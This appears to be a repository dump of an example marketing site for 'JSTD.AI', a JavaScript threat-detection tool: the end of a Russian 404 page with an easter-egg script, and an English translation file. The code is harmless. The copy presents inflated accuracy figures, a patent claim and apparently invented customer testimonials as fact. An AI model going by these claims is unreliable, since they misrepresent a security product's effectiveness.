id=\"arc1\"></div>\n                <div class=\"click-ring__arc click-ring__arc--inactive\" id=\"arc2\"></div>\n                <div class=\"click-ring__arc click-ring__arc--inactive\" id=\"arc3\"></div>\n                <div class=\"click-ring__arc click-ring__arc--inactive\" id=\"arc4\"></div>\n            </div>\n            <span class=\"error-code__text\">404</span>\n            <div class=\"error-code__back\">404</div>\n            <div class=\"error-code__front\">404</div>\n            <div class=\"error-code__scan\"></div>\n            <div class=\"error-code__hint\" data-i18n=\"e404.hint\">кликни 4 раза</div>\n        </div>\n\n        <!-- label + title -->\n        <div class=\"error-label\">\n            <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                <path d=\"M6 1L1 3.5V6C1 8.761 3.239 11 6 11C8.761 11 11 8.761 11 6V3.5L6 1Z\" stroke=\"#ff3366\" stroke-width=\"1\" />\n                <path d=\"M6 4.5V6.5M6 7.5V8\" stroke=\"#ff3366\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n            </svg> РЕСУРС НЕ ОБНАРУЖЕН — СТАТУС 404\n        </div>\n\n        <h1 class=\"error-title\" data-i18n-html=\"e404.title_html\">\n            Нейросеть не нашла<br />запрошенный ресурс\n        </h1>\n\n        <p class=\"error-desc\" data-i18n-html=\"e404.desc_html\">\n            Наш сканер обработал запрос за <code>&lt;&thinsp;1ms</code>, но указанный URL отсутствует в индексе. Возможно, страница была перемещена или никогда не существовала.\n        </p>\n\n        <div class=\"error-actions\">\n            <a href=\"/\" class=\"btn btn--primary\">\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                    <path d=\"M14 8H2M7 3L2 8L7 13\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg> <span data-i18n=\"e404.btn_home\">На главную</span>\n            </a>\n            <a href=\"/#docs\" class=\"btn btn--ghost\">\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                    <rect x=\"3\" y=\"1\" width=\"10\" height=\"14\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M6 5H10M6 8H10M6 11H8\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                </svg> <span data-i18n=\"e404.btn_docs\">Документация</span>\n            </a>\n        </div>\n\n        <!-- terminal block -->\n        <div class=\"error-terminal\">\n            <div class=\"error-terminal__bar\">\n                <div class=\"error-terminal__dot\"></div>\n                <div class=\"error-terminal__dot\"></div>\n                <div class=\"error-terminal__dot\"></div>\n            </div>\n            <div class=\"error-terminal__body\">\n                <span class=\"t-line\"><span class=\"t-dim\">$</span> <span class=\"t-cmd\">jstd analyze --url <span id=\"badUrl\"></span></span>\n                </span>\n                <span class=\"t-line t-dim\"> ↳ extracting features…</span>\n                <span class=\"t-line t-ok\" data-i18n=\"e404.term_ok\"> ✓ threat_score: 0.00 (чисто)</span>\n                <span class=\"t-line t-dim\"> ↓ routing to resource…</span>\n                <span class=\"t-line t-err\" data-i18n=\"e404.term_err1\"> ✗ HTTP 404 — ресурс не найден</span>\n                <span class=\"t-line t-dim\"> ↓ scanning alternative paths…</span>\n                <span class=\"t-line t-err\" data-i18n=\"e404.term_err2\"> ✗ альтернатив не найдено</span>\n                <span class=\"t-line\">&nbsp;</span>\n                <span class=\"t-line t-dim\">$ <span class=\"t-cursor\"></span></span>\n            </div>\n        </div>\n    </main>\n\n    <!-- ░░ FOOTER ░░ -->\n    <footer class=\"footer\">\n        <div class=\"container\">\n            <div class=\"footer__inner\">\n                <div class=\"footer__brand\">\n                    <a href=\"/\" class=\"nav__logo\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                            <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                            <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                        <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n                    </a>\n                    <p data-i18n-html=\"footer.brand_p\">Проприетарная нейросетевая система<br />детекции угроз в JavaScript-коде.</p>\n                    <p class=\"footer__copy\" data-i18n=\"footer.copy_short\">© 2026 JSTD.AI. Все права защищены.</p>\n                </div>\n                <div class=\"footer__cols\">\n                    <div class=\"footer__col\">\n                        <div class=\"footer__col-title\" data-i18n=\"footer.col1_title\">Продукт</div>\n                        <a href=\"/#cta\" data-i18n=\"footer.col1_1\">Скачать</a>\n                        <a href=\"/#docs\" data-i18n=\"footer.col1_2\">Документация</a>\n                        <a href=\"/#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a>\n                    </div>\n                </div>\n            </div>\n            <div class=\"footer__bottom\">\n                <span>Built with neural precision. Zero telemetry. Zero cloud.</span>\n                <div class=\"footer__badges\">\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M6 1L1 3.5V6C1 8.761 3.239 11 6 11C8.761 11 11 8.761 11 6V3.5L6 1Z\" stroke=\"#00ff88\" stroke-width=\"1\" />\n                        </svg>\n                        Offline-first\n                    </span>\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M2 6L5 9L10 3\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg>\n                        No telemetry\n                    </span>\n                </div>\n            </div>\n        </div>\n        <img class=\"footer-cat\" src=\"./flexing-cat.gif\" alt=\"\" aria-hidden=\"true\">\n    </footer>\n\n    <!-- ░░ EASTER EGG OVERLAY ░░ -->\n    <div class=\"easter-overlay\" id=\"easterOverlay\">\n        <div class=\"easter-card\">\n            <button class=\"easter-card__close\" id=\"easterClose\" aria-label=\"Закрыть\" data-i18n-label=\"e404.ee_close\">\n                <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                    <path d=\"M2 2L10 10M10 2L2 10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n            </button>\n\n            <div class=\"easter-card__tag\">\n                <span class=\"easter-card__tag-dot\"></span> CURIOSITY_CLASS · THREAT DETECTED\n            </div>\n\n            <div class=\"easter-card__title\" data-i18n-html=\"e404.ee_title_html\">\n                Ой, а что это<br />мы <em>ищем?</em>\n            </div>\n\n            <div class=\"easter-card__rows\">\n                <div class=\"easter-row easter-row--purple\">\n                    <span class=\"easter-row__label\" data-i18n=\"e404.ee_r1_lbl\">Тип угрозы</span>\n                    <span class=\"easter-row__val\" data-i18n=\"e404.ee_r1_val\">Безудержное любопытство</span>\n                </div>\n                <div class=\"easter-row easter-row--cyan\">\n                    <span class=\"easter-row__label\" data-i18n=\"e404.ee_r2_lbl\">Вектор атаки</span>\n                    <span class=\"easter-row__val\">URL enumeration</span>\n                </div>\n                <div class=\"easter-row easter-row--amber\">\n                    <span class=\"easter-row__label\" data-i18n=\"e404.ee_r3_lbl\">Уровень риска</span>\n                    <span class=\"easter-row__val\">🫣 Критически высокий</span>\n                </div>\n            </div>\n\n            <div class=\"easter-card__bar\">\n                <div class=\"easter-card__bar-fill\" id=\"easterBar\"></div>\n            </div>\n\n            <div class=\"easter-card__footer\">\n                <span data-i18n=\"e404.ee_foot\">Рекомендация: </span><span data-i18n=\"e404.ee_foot_sp\">вернитесь на главную и не трогайте 404.</span>\n            </div>\n        </div>\n    </div>\n\n    <script src=\"app/i18n.js\"></script>\n    <script src=\"app/main.js\"></script>\n    <script>\n        /* ── display current bad URL in terminal ── */\n        document.getElementById('badUrl').textContent =\n            window.location.pathname || '/unknown';\n\n        /* ── Easter egg: 4 clicks on the 404 ───── */\n        const code = document.getElementById('errorCode');\n        const overlay = document.getElementById('easterOverlay');\n        const closeBtn = document.getElementById('easterClose');\n        const arcs = [\n            document.getElementById('arc1'),\n            document.getElementById('arc2'),\n            document.getElementById('arc3'),\n            document.getElementById('arc4'),\n        ];\n\n        let clickCount = 0;\n        let resetTimer = null;\n\n        function spawnBurst(x, y) {\n            const size = 120 + Math.random() * 80;\n            const el = document.createElement('div');\n            el.className = 'ripple-burst';\n            el.style.cssText = `\n                width:${size}px;height:${size}px;\n                left:${x - size / 2}px;top:${y - size / 2}px;\n            `;\n            document.body.appendChild(el);\n            el.addEventListener('animationend', () => el.remove());\n        }\n\n        code.addEventListener('click', (e) => {\n            clearTimeout(resetTimer);\n            clickCount = Math.min(clickCount + 1, 4);\n\n            spawnBurst(e.clientX, e.clientY);\n\n            /* update ring arcs */\n            arcs.forEach((arc, i) => {\n                const cls = `click-ring__arc--${i + 1}`;\n                if (i < clickCount) {\n                    arc.classList.remove('click-ring__arc--inactive');\n                    arc.classList.add(cls);\n                } else {\n                    arc.classList.add('click-ring__arc--inactive');\n                    arc.classList.remove(cls);\n                }\n            });\n\n            if (clickCount === 4) {\n                /* show easter egg */\n                setTimeout(() => {\n                    overlay.classList.add('is-visible');\n                    clickCount = 0;\n                    arcs.forEach((arc, i) => {\n                        arc.classList.add('click-ring__arc--inactive');\n                        arc.classList.remove(`click-ring__arc--${i + 1}`);\n                    });\n                }, 300);\n            } else {\n                resetTimer = setTimeout(() => {\n                    clickCount = 0;\n                    arcs.forEach((arc, i) => {\n                        arc.classList.add('click-ring__arc--inactive');\n                        arc.classList.remove(`click-ring__arc--${i + 1}`);\n                    });\n                }, 3000);\n            }\n        });\n\n        function closeEaster() {\n            overlay.classList.remove('is-visible');\n        }\n        closeBtn.addEventListener('click', closeEaster);\n        overlay.addEventListener('click', (e) => {\n            if (e.target === overlay) closeEaster();\n        });\n        document.addEventListener('keydown', (e) => {\n            if (e.key === 'Escape') closeEaster();\n        });\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/app/i18n.js",
    "content": "/* ══════════════════════════════════════════════════\n   JSTD.AI  —  i18n  (RU / EN)\n   Works on: index.html · download/ · 404.html\n══════════════════════════════════════════════════ */\n(function() {\n\n    /* ─────────────────────────────────────────────\n       TRANSLATION DICTIONARIES\n       T.ru is NOT stored here — it is built automatically\n       from the original DOM text at init time (see snapshotRu).\n    ───────────────────────────────────────────── */\n    const T = {\n\n        /* ── ENGLISH ──────────────────────────────── */\n        en: {\n            __title_index: 'JSTD.AI — Neural JavaScript Threat Detection',\n            __title_download: 'Download — JSTD.AI',\n            __title_404: '404 — JSTD.AI',\n\n            /* NAV */\n            'nav.how': 'How it works',\n            'nav.algorithms': 'Algorithms',\n            'nav.docs': 'Documentation',\n            'nav.testimonials': 'Testimonials',\n            'nav.try': 'Try it',\n            'nav.home': 'Home',\n\n            /* HERO */\n            'hero.badge': 'Neural Analysis Engine v3.1 — Active',\n            'hero.headline_html': 'Code vulnerabilities detected before<br />they <span class=\"cracked-word\" data-text=\"explode\">explode</span>',\n            'hero.sub': 'Proprietary neural network model <strong>50→30→1</strong> analyzes any JavaScript for obfuscation, malicious constructs, and embedded malware in milliseconds. Runs on low-end hardware. No cloud required.',\n            'hero.cta_primary': 'Start analysis',\n            'hero.cta_secondary': 'How it works',\n            'hero.stat1': 'Detection accuracy',\n            'hero.stat2': 'model parameters',\n            'hero.stat3': 'code features',\n            'hero.stat4': 'no GPU',\n\n            /* MARQUEE */\n            'mq.obfusc': 'Obfuscation',\n            'mq.cookie': 'Cookie stealing',\n            'mq.eval': 'eval() injections',\n            'mq.keylog': 'Keyloggers',\n            'mq.miners': 'Hidden miners',\n            'mq.xss': 'XSS vectors',\n\n            /* HOW IT WORKS */\n            'hiw.label': 'How it works',\n            'hiw.title_html': 'The neural network sees<br />what humans miss',\n            'hiw.desc': 'JSTD.AI uses a three-stage analysis pipeline: feature extraction → neural network → heuristic rules. Each stage amplifies the next — the final score requires consensus from all three.',\n            'hiw.s1_h3': 'File upload',\n            'hiw.s1_p': 'The JS file is read as plain text in full. No cloud transfer — everything stays local. Supports minified, obfuscated, and multi-line code of any size.',\n            'hiw.s2_h3': '50 feature extraction',\n            'hiw.s2_p': 'Normalized metrics: frequency of dangerous constructs, Shannon entropy, obfuscation level, Base64 density, comment ratio, and much more.',\n            'hiw.s3_h3': 'Neural network 50→30→1',\n            'hiw.s3_p': '1561 trained parameters. MLP architecture with ReLU activation. Trained on 210 labeled examples. Accuracy — 99.7%. Runs without GPU in &lt;1 ms.',\n            'hiw.s4_h3': 'Heuristic rules',\n            'hiw.s4_p': '42 threat patterns including combined scenarios. Detects cookie-stealing signatures, keyloggers, iframe injection, and obfuscation chains.',\n\n            /* ALGORITHMS */\n            'algo.label': 'Algorithms',\n            'algo.title_html': 'Architecture that leaves<br />no chance',\n            'algo.nn_label': 'Neural network topology',\n            'algo.nn_p': 'Multi-layer perceptron with forward error propagation. Adaptive learning rate decreases from 0.015 to 0.008 over 300 epochs.',\n            'algo.nn_in_html': 'Input<br />layer',\n            'algo.nn_hid_html': 'Hidden<br />layer',\n            'algo.nn_out_html': 'Output<br />layer',\n            'algo.nn_in_sub': '50 neurons',\n            'algo.nn_hid_sub': '30 neurons',\n            'algo.nn_out_sub': '1 neuron',\n            'algo.p_in_lbl': 'Input → Hidden',\n            'algo.p_in_val': '1 500 weights',\n            'algo.p_hid_lbl': 'Hidden → Output',\n            'algo.p_hid_val': '30 weights',\n            'algo.p_bias_lbl': 'Biases',\n            'algo.p_bias_val': '31 parameters',\n            'algo.p_tot_lbl': 'TOTAL',\n            'algo.p_tot_val': '1 561 parameters',\n            'algo.p_weights': 'weights',\n            'algo.p_params': 'parameters',\n\n            'algo.feat_label': 'Feature extraction',\n            'algo.feat_h3': '50 code metrics',\n            'algo.feat_p': 'Each feature is normalized relative to file length for accurate comparison of files of different sizes.',\n            'algo.feat_entropy': 'Entropy',\n            'algo.feat_obfusc': 'Obfusc.',\n\n            'algo.ent_label': 'Shannon entropy',\n            'algo.ent_h3': 'Chaos is a signal',\n            'algo.ent_p': 'Character randomness is a direct indicator of obfuscation. Legitimate code is predictable. Malware is not.',\n            'algo.ent_v1': 'H=0.0',\n            'algo.ent_v2': 'H=3.3',\n            'algo.ent_v3': 'H=4.1',\n            'algo.ent_v4': 'H=5.8',\n            'algo.ent_v5': 'H=7.9',\n\n            'algo.thr_label': 'Threat classification',\n            'algo.thr_h3': '5 risk levels',\n            'algo.thr_p': 'The final score is a weighted combination of the neural network score and heuristic triggers. No single component makes the decision alone.',\n            'algo.lv_safe': 'Legitimate code. No threats detected.',\n            'algo.lv_low': 'Minor suspicious constructs.',\n            'algo.lv_med': 'Requires review. Possible violations.',\n            'algo.lv_high': 'High probability of malicious activity.',\n            'algo.lv_crit': 'DO NOT RUN. Multiple triggers fired.',\n\n            'algo.sc_label': 'Final score',\n            'algo.sc_h3': 'Weighted formula',\n            'algo.sc_p': 'The final threat score is not simply the neural network output. It is a consensus of three independent components with dynamic weights.',\n            'algo.sc_nn': 'Neural net',\n            'algo.sc_heur': 'Heuristics',\n            'algo.sc_ent': 'Entropy',\n            'algo.sc_tot': 'Total',\n            'algo.sc_note': 'Weights are recalculated automatically when no heuristic triggers are present',\n\n            'algo.ob_label': 'Obfuscation detection',\n            'algo.ob_h3': 'Patterns that hide',\n            'algo.ob_hex_t': 'Hex escaping',\n            'algo.ob_hex_d': 'Strings encoded with hex escape sequences',\n            'algo.ob_arr_d': 'Strings split into indexed arrays',\n            'algo.ob_b64_t': 'Base64 chains',\n            'algo.ob_b64_d': 'Multi-level decoding before execution',\n            'algo.ob_fn_d': 'Dynamic creation and execution of functions from strings',\n            'algo.ob_pp_d': 'Modification of base prototype chains',\n            'algo.ob_sm_d': 'Strings in timers and event listeners used as code',\n\n            /* SHOWCASE */\n            'show.label': 'Real threats',\n            'show.title_html': 'Code that <span class=\"highlight-slash\">kills</span><br /> security in 3 lines',\n            'show.i1': 'Session theft',\n            'show.i2': 'Full obfuscation',\n            'show.i3': 'Hidden iframe',\n\n            /* TESTIMONIALS */\n            'test.label': 'Testimonials',\n            'test.h2': 'Trusted by professionals',\n            'test.desc': 'Companies use JSTD.AI as the first line of defense before passing code between departments and contractors.',\n            'test.prev': 'Previous',\n            'test.next': 'Next',\n            'test.t1_text': '\"We run a marketplace and regularly receive JS widgets from third-party vendors. Before JSTD.AI, every file had to be read manually — or trusted blindly. After one incident with an embedded keylogger in a partner\\'s widget, we made scanning mandatory. JSTD.AI does in 2 seconds what used to take an hour of review.\"',\n            'test.t1_av': 'AK',\n            'test.t1_nm': 'Andrew Klimov',\n            'test.t1_rl': 'CTO, RetailEdge Platform',\n            'test.t1_tg': 'E-commerce / SaaS',\n            'test.t2_text': '\"Our security team uses JSTD.AI to pre-screen source code from freelancers before it reaches the architect review. In the first month the system flagged 4 files with real threats — one turned out to be a full backdoor with a WebSocket channel. We would have missed it without this tool.\"',\n            'test.t2_av': 'MV',\n            'test.t2_nm': 'Maria Voronova',\n            'test.t2_rl': 'Head of Security, FinStream Bank',\n            'test.t2_tg': 'Fintech / Banking',\n            'test.t3_text': '\"We\\'re an outsourcing studio — we receive finished code from 12+ contractors monthly. JSTD.AI is integrated into our Slack bot: a dev drops in a file, the bot responds in 3 seconds with the threat level. We caught prototype pollution in npm scripts twice — the contractor had \\'accidentally\\' bundled it with a production dependency.\"',\n            'test.t3_av': 'DS',\n            'test.t3_nm': 'Dmitry Savelyev',\n            'test.t3_rl': 'Tech Lead, CodeBridge Agency',\n            'test.t3_tg': 'Outsourcing / Development',\n            'test.t4_text': '\"We run JSTD.AI as a CI/CD step before deploying to the staging server. Integration took 20 minutes. Now if a PR contains anything with eval() + Base64 — the pipeline fails automatically and the PR won\\'t merge. Developers have become much more careful with dependencies.\"',\n            'test.t4_av': 'EP',\n            'test.t4_nm': 'Elena Petukhova',\n            'test.t4_rl': 'DevOps Engineer, LogiCore Systems',\n            'test.t4_tg': 'DevOps / CI-CD',\n            'test.t5_text': '\"A government contract requires certification of delivered software. JSTD.AI generates an HTML report detailing every detected pattern — this has become part of our document package for the client. No longer need a separate pentest for a basic audit of JS components.\"',\n            'test.t5_av': 'IR',\n            'test.t5_nm': 'Igor Ryazantsev',\n            'test.t5_rl': 'Information Security Auditor, GovTech Solutions',\n            'test.t5_tg': 'Gov sector / Security audit',\n            'test.t6_text': '\"We switched to JSTD.AI after npm audit missed an obfuscated stealer in a transitive dependency. JSTD caught it in a second — eval inside an encoded string that standard linters considered valid code. Since then it\\'s been a mandatory step before every release.\"',\n            'test.t6_av': 'NB',\n            'test.t6_nm': 'Nikita Belousov',\n            'test.t6_rl': 'Senior Frontend Engineer, CloudStack Labs',\n            'test.t6_tg': 'Cloud services / Frontend',\n\n            /* DOCS */\n            'docs.label': 'Documentation',\n            'docs.h2_html': 'Everything you need<br />to get started',\n            'docs.desc': 'JSTD.AI requires no configuration or technical expertise. Upload a file — get a result. Below is the full interface reference and data interpretation guide.',\n            'docs.qs1_t': 'Load JS files',\n            'docs.qs1_p': 'Click <code>Load file(s)…</code> and select one or more <code>.js</code> files. Minified, obfuscated, and multi-line code of any size is supported.',\n            'docs.qs2_t': 'Wait for analysis',\n            'docs.qs2_p': 'The neural engine processes each file in <code>&lt;&thinsp;1&thinsp;ms</code>. Results appear instantly in the <em>Analysis results</em> panel. Multiple files are analyzed in parallel.',\n            'docs.qs3_t': 'Review the report',\n            'docs.qs3_p': 'Click a row in the table to open the <em>Threat Details</em> panel with three tabs. Export a full HTML report using the <code>Save as HTML report</code> button if needed.',\n            'docs.c1_h3': 'Code viewer',\n            'docs.c1_p': 'Displays the source code of the selected file with syntax highlighting. Comments, strings, keywords, and dangerous constructs are color-coded. The file can be scrolled — no size limit.',\n            'docs.c1_hint': 'Select a file in the table on the right — the code updates automatically',\n            'docs.c2_h3': 'Results table',\n            'docs.c2_p': 'Each row represents one file. Columns: <strong>File Name</strong>, <strong>Threat Level</strong> (color label), <strong>Score</strong> (final score in percent). Rows are clickable — they open details in the bottom panel.',\n            'docs.c3_lbl': 'Tab — Threat details',\n            'docs.c3_p': 'Final verdict for the file. Shows the threat level, three independent scores, and a text summary. Displays the number of violations found and the final recommendation.',\n            'docs.c4_p': 'List of triggered heuristic rules. Each rule contains a name, severity in percent, and a brief attack description. Rules are ranked by descending severity.',\n            'docs.c5_p': 'Raw metrics extracted from the code. A table of 50 features: Feature (name), Count (absolute value), Description (what it means). Used for manual audit and understanding the neural network\\'s decision.',\n            'docs.c6_lbl': 'Side panel',\n            'docs.c6_p': 'Live engine status monitoring. Updated every 500&thinsp;ms. All data is local — nothing is transmitted anywhere.',\n            'docs.faq_title': 'Frequently asked questions',\n            'docs.faq1_q': 'Is it safe to pass my code to the program?',\n            'docs.faq1_a': 'JSTD.AI works completely offline. Code never leaves your computer under any circumstances — no cloud APIs, telemetry, or outbound connections. All analysis is performed locally in process memory.',\n            'docs.faq2_q': 'Why does safe code with <code>fetch()</code> get a non-zero score?',\n            'docs.faq2_a': 'The neural network assesses threat probability statistically. The presence of <code>fetch()</code>, <code>XMLHttpRequest</code>, or <code>localStorage</code> on its own is not a threat — but it raises the base score. The final classification considers a combination of features: a single <code>fetch()</code> without a dangerous context will yield a SAFE or LOW level.',\n            'docs.faq3_q': 'What does \"Obfuscation\" mean if the code was written by hand?',\n            'docs.faq3_a': 'The \"Obfuscation level\" feature is not a flag indicating a run through an obfuscator — it is a metric of code characteristics: long strings without spaces, high entropy, hex literals, minimal comments. Minified bundles (webpack, esbuild) will have a non-zero level — this is normal and is factored into the final score calculation.',\n            'docs.faq4_q': 'What does the HTML report contain?',\n            'docs.faq4_a': 'The HTML report includes: a header with date and analyst name, a summary table for all files, a detailed breakdown for each file (Summary + Triggered Rules + Detected Features), source code, and an analysis timestamp. The file is self-contained — no internet required to view it.',\n            'docs.faq5_q': 'Can minified files be analyzed?',\n            'docs.faq5_a': 'Yes. The neural network was trained on minified code examples. Features are extracted independently of formatting. Minification itself raises the obfuscation feature, but does not affect the final classification — without dangerous patterns the file will receive SAFE or LOW.',\n\n            /* CTA */\n            'cta.label': 'Security starts here',\n            'cta.title_html': 'Every JS file is<br /> a potential<br /> <span class=\"cracked-word cracked-word--lg\" data-text=\"hole\">hole</span>',\n            'cta.p': 'JSTD.AI runs completely offline on Windows. No internet required. No GPU needed. Installation takes a minute — your first analysis will be done within three...',\n            'cta.btn_primary': 'Download JSTD.AI',\n            'cta.btn_ghost': 'Documentation',\n            'cta.spec3': '<1 MB executable file',\n            'cta.spec4': 'No internet required',\n\n            /* FOOTER */\n            'footer.brand_p': 'Proprietary neural threat detection system<br />for JavaScript code.',\n            'footer.copy_html': '© 2026 JSTD.AI. All rights reserved.<br />Proprietary development. Neural model is patented.',\n            'footer.copy_short': '© 2026 JSTD.AI. All rights reserved.',\n            'footer.col1_title': 'Product',\n            'footer.col1_1': 'Download',\n            'footer.col1_2': 'Documentation',\n            'footer.col1_4': 'License',\n            'footer.col2_title': 'Company',\n            'footer.col2_1': 'About',\n            'footer.col2_2': 'Blog',\n            'footer.col2_3': 'Press',\n            'footer.col2_4': 'Contact',\n            'footer.col3_title': 'Security',\n            'footer.col3_1': 'Responsible disclosure',\n            'footer.col3_2': 'Privacy policy',\n            'footer.col3_4': 'CVE database',\n\n            /* DOWNLOAD PAGE */\n            'dl.label': 'INITIALIZING DOWNLOAD',\n            'dl.title_html': 'Thanks for&nbsp;downloading<em>!</em>',\n            'dl.sub': 'The file <strong>jstd-ai.zip</strong> will automatically download to your computer in a few seconds. If nothing happens — use the direct link below.',\n            'dl.cd_before': 'Download starts in',\n            'dl.cd_after': 'sec…',\n            'dl.tl1': '  ↳ verifying signature…',\n            'dl.tl2': '  ✓ signature valid · SHA-256 match',\n            'dl.tl3': '  ↳ transferring file to browser…',\n            'dl.tl4': '  ✓ download started',\n            'dl.manual_q': 'Download not started?',\n            'dl.manual_lnk': 'Click here',\n            'dl.spec3': '<1 MB executable file',\n            'dl.spec4': 'No internet',\n\n            /* 404 PAGE */\n            'e404.hint': 'click 4 times',\n            'e404.label': 'RESOURCE NOT FOUND — STATUS 404',\n            'e404.title_html': 'Neural network couldn\\'t find<br />the requested resource',\n            'e404.desc_html': 'Our scanner processed the request in <code>&lt;&thinsp;1ms</code>, but the specified URL is not in the index. The page may have been moved or never existed.',\n            'e404.btn_home': 'Home',\n            'e404.btn_docs': 'Documentation',\n            'e404.term_ok': '  ✓ threat_score: 0.00 (clean)',\n            'e404.term_err1': '  ✗ HTTP 404 — resource not found',\n            'e404.term_err2': '  ✗ no alternatives found',\n            'e404.ee_title_html': 'Oh, what are<br />we <em>looking for?</em>',\n            'e404.ee_r1_lbl': 'Threat type',\n            'e404.ee_r1_val': 'Unbridled curiosity',\n            'e404.ee_r2_lbl': 'Attack vector',\n            'e404.ee_r3_lbl': 'Risk level',\n            'e404.ee_foot': 'Recommendation: ',\n            'e404.ee_foot_sp': 'go back to the home page and don\\'t touch the 404.',\n            'e404.ee_close': 'Close',\n        }\n    };\n\n    /* ─────────────────────────────────────────────\n       SNAPSHOT RUSSIAN FROM DOM\n       Reads every translatable element's current\n       text/html (the HTML default is Russian) and\n       stores it as T.ru — called once before the\n       first applyLang() so RU restores original DOM.\n    ───────────────────────────────────────────── */\n    function snapshotRu() {\n        var ru = {};\n        document.querySelectorAll('[data-i18n]').forEach(function(el) {\n            ru[el.getAttribute('data-i18n')] = el.textContent;\n        });\n        document.querySelectorAll('[data-i18n-html]').forEach(function(el) {\n            ru[el.getAttribute('data-i18n-html')] = el.innerHTML;\n        });\n        document.querySelectorAll('[data-i18n-label]').forEach(function(el) {\n            var lbl = el.getAttribute('aria-label');\n            if (lbl) ru[el.getAttribute('data-i18n-label')] = lbl;\n        });\n        var path = window.location.pathname;\n        var titleKey = path.indexOf('/download') !== -1 ? '__title_download' :\n            (path.indexOf('/404') !== -1 || document.querySelector('.page-404')) ? '__title_404' :\n            '__title_index';\n        ru[titleKey] = document.title;\n        T.ru = ru;\n    }\n\n    /* ─────────────────────────────────────────────\n       DETECT LANGUAGE\n    ───────────────────────────────────────────── */\n    function detectLang() {\n        const saved = localStorage.getItem('jstd_lang');\n        if (saved === 'ru' || saved === 'en') return saved;\n        const nav = (navigator.language || navigator.userLanguage || '').toLowerCase();\n        return nav.startsWith('ru') ? 'ru' : 'en';\n    }\n\n    /* ─────────────────────────────────────────────\n       APPLY LANGUAGE\n    ───────────────────────────────────────────── */\n    function applyLang(lang) {\n        const dict = T[lang];\n        if (!dict) return;\n\n        /* textContent replacements */\n        document.querySelectorAll('[data-i18n]').forEach(function(el) {\n            var key = el.getAttribute('data-i18n');\n            if (dict[key] !== undefined) el.textContent = dict[key];\n        });\n\n        /* innerHTML replacements (for nodes containing HTML tags) */\n        document.querySelectorAll('[data-i18n-html]').forEach(function(el) {\n            var key = el.getAttribute('data-i18n-html');\n            if (dict[key] !== undefined) el.innerHTML = dict[key];\n        });\n\n        /* re-inject .crack-line spans lost during innerHTML swap */\n        document.querySelectorAll('.cracked-word').forEach(function(el) {\n            if (!el.querySelector('.crack-line')) {\n                var line = document.createElement('span');\n                line.className = 'crack-line';\n                el.appendChild(line);\n            }\n        });\n\n        /* aria-label replacements */\n        document.querySelectorAll('[data-i18n-label]').forEach(function(el) {\n            var key = el.getAttribute('data-i18n-label');\n            if (dict[key] !== undefined) el.setAttribute('aria-label', dict[key]);\n        });\n\n        /* page title */\n        var titleKey = null;\n        var path = window.location.pathname;\n        if (path.indexOf('/download') !== -1) titleKey = '__title_download';\n        else if (path.indexOf('/404') !== -1 || document.querySelector('.page-404')) titleKey = '__title_404';\n        else titleKey = '__title_index';\n        if (titleKey && dict[titleKey]) document.title = dict[titleKey];\n\n        /* html[lang] attribute */\n        document.documentElement.lang = lang;\n\n        /* switcher active state */\n        document.querySelectorAll('[data-lang-switch]').forEach(function(btn) {\n            btn.classList.toggle('lang-btn--active', btn.getAttribute('data-lang-switch') === lang);\n        });\n\n        /* persist */\n        localStorage.setItem('jstd_lang', lang);\n        window.__jstd_lang = lang;\n\n        /* reveal page (FOUC prevention — set by inline head script) */\n        document.documentElement.classList.remove('lang-loading');\n    }\n\n    /* ─────────────────────────────────────────────\n       INIT\n    ───────────────────────────────────────────── */\n    function init() {\n        snapshotRu();\n\n        /* wire switcher buttons */\n        document.querySelectorAll('[data-lang-switch]').forEach(function(btn) {\n            btn.addEventListener('click', function() {\n                applyLang(btn.getAttribute('data-lang-switch'));\n            });\n        });\n\n        applyLang(detectLang());\n    }\n\n    if (document.readyState === 'loading') {\n        document.addEventListener('DOMContentLoaded', init);\n    } else {\n        init();\n    }\n\n    /* public API */\n    window.setLang = applyLang;\n\n})();"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/app/main.js",
